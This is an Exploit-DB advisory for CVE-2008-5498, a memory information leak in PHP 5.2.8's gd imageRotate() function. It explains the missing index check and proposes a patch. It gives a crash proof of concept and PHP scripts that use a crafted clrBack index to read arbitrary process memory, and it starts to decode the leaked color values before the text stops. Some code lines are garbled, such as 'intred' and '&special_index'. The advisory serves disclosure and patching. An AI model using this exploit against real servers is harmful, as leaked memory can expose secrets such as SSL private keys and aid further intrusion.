Exploit-DB #7646
Description: PHP 5.2.8 gd library - 'imageRotate()' Information Leak
Type: local
Platform: multiple
Date: 2009-01-02
Author: Hamid Ebadi

Exploit:
PHP - gd library - imageRotate()function Information Leak Vulnerability

Discovered by: Hamid Ebadi, 
Further research and exploit: Mohammad R. Roohian
CSIRT Team Members
Amirkabir University APA Laboratory

Introduction
PHP is a popular web programming language which isnormally used as a script engine in the server side.
PHP 5 which is compiledwith gd library, includes a function called imageRotate() for rotating an imageresource by giving the rotation angle.
This function fills the resulted emptyareas with a given default coloring after rotation (clrBack). 
Gd library works with both indexed images andtruecolor images. A truecolor pixel is a DWORD which stores the color value ofthe pixel which would be displayed without any change.
In indexed mode by using an index with a sizeof  no more than 1 byte, the data wouldbe fetched from a color palette which consists of parallel arrays of colorbytes. The gd library uses the same data strcture for both of these image types(gdImageStruct).
An implementation error can cause information leakage from thememory of the PHP (or possible the web server) process.

Information leak vulnerabilities allow access to e.g. the Apache memory which might contain the private RSA key for the SSL cert.If an attacker is able to read it he can perform real man in the middle attackson all SSL connections. Aside from this in the days of ASLR, NX and canaryprotections it is often vital for the success of the exploit to know exactmemory addresses. (http://www.php-security.org/)

Vulnerableversion
PHP <= 5.2.8
CVE Candidate Number: CVE-2008-5498

Vulnerability
The imageRotate() function does not perform any validation check on the clrBack parameter which is used as an index for the above mentioned arrays with the size of 255 in the index image type.
A correct validation check for the indexed images could be:

file: php-x.y.z/ext/gd/libgd/gd.c

3129: gdImagePtr gdImageRotate (gdImagePtrsrc, double dAngle,
                                int clrBack, int ignoretransparent) 
3130:{ 
3131: gdImagePtrpMidImg; 
3132: gdImagePtrrotatedImg;
3133:
3134: if(src == NULL) { 
3135:       returnNULL; 
3136: }
3137:+
3137:+ // Index check
3137:+ if (!src->truecolor) 
3137:+ clrBack &= 0xff; // Just keep the first byte
3137:+
3138: if(!gdImageTrueColor(src) && clrBack>=gdImageColorsTotal(src)) { 
3139:       returnNULL; 
3140: }

While rotating indexed image, gd retrives the final backcolor from 4 parallel arrays(red, green, blue and alpha) with length of 255 and uses clrBack as the indexof these arrays.
By providing a special clrBack value (more than 255) we can read almost any address in php memory:

file: php-x.y.z/ext/gd/libgd/gd.h

typedef struct gdImageStruct { 
 
      --snip snip --   
 
      intred[gdMaxColors]; 
      intgreen[gdMaxColors]; 
      intblue[gdMaxColors]; 
 
      --snip snip --   
 
      intalpha[gdMaxColors]; 
      /*Truecolor flag and pixels. New 2.0 fields appear here at the 
            endto minimize breakage of existing object code. */ 
      inttrueColor; 
      
      --snip snip --   
 
} gdImage; 

typedef gdImage * gdImagePtr; 

then uses gdTrueColorAlpha macro to combinethe 4 mentioned values. gdTrueColorAlpha macro  is implemented as following: 

file: php-x.y.z/ext/gd/libgd/gd.h

#define gdTrueColorAlpha(r, g, b, a) (((a)<< 24) + \
      ((r)<< 16) + \
      ((g)<< 8) + \
      (b))

The final color value is the output of gdTrueColorAlpha macro which will be used as background color. gdTrueColorAlpha uses '+' (add) instead of '&'(and). While the '+' operator is slower, it also causes a security issue. By using a reverse function we can calculate almost any desired memory address.

Proof of concept:
This script would cause a segmentation faultbecause -9999999 would result in reading an invalid memory address in PHP process:

<?php

$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,-9999999);

?>
Exploitation  :
We need to provide a good clrBack to imageRotate()and then calculate the value of desired memory address by using imagecolorat() with arguments concerned with angles of the rotated image. Upper right would be a good spot (0, 0):

<?php 
&special_index = /* index of the$address */
$r=imagecreate(300,300); 
$gray = imagecolorallocate( $r,111,111,111); 
imagefilledrectangle($r,0,0,300,300,$gray);
$tmp =imagerotate( $r, 30,&special_index ); 
imagePng( $tmp, "test.png" ); 
?>


 --------
|f_b/\	 |
|  /  \	 |
| /    \ |
|/image	\|
|\      /|
| \    / |
|  \  /	 |
|   \/	 |
 --------

To read encoded memory values from a desired address,  we have to use the following script:

<?php

$address = /*address to read should bemultiply of 4 */
$src = 0x84cde2c; 
// depends on the image size and phpscript length but is constant
$index_b = -(int)(($src - $address +0x810)/4);

$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,$index_b);
$f_b = imagecolorat( $tmp,0,0);

?>

After passing $index_b as the index of arrays (red, green, blue and alphaarrays) and  rotating $img (so that the values from the memory would be read), b variable takes the value of $address.
The color at [0,0] would be filled by back color,thus $f_b has the return value of gdTrueColorAlpha function. All we need to do is decoding its value. The final value of $f_b is calculated as following:
$f_b =  gdTrueColorAlpha( M[$address-512],
                          M[$address-255],
                          M[$address+0],
                          M[$address+1034]);

These offsets [-512, -255, 0, 1034] are the displacements in gdImageStruct's arrays.
Decoding $f_b
As you can see in the source code $f_b is calculated like this:
----------------------------------------------------------
a	:A4	A3	A2	A1
r	:	R4	R3	R2	R1
g	:		G4	G3	G2	G1
b	:			B4	B3	B2	B1
----------------------------------------------------------
$f_b	:			F4	F3	F2	F1
----------------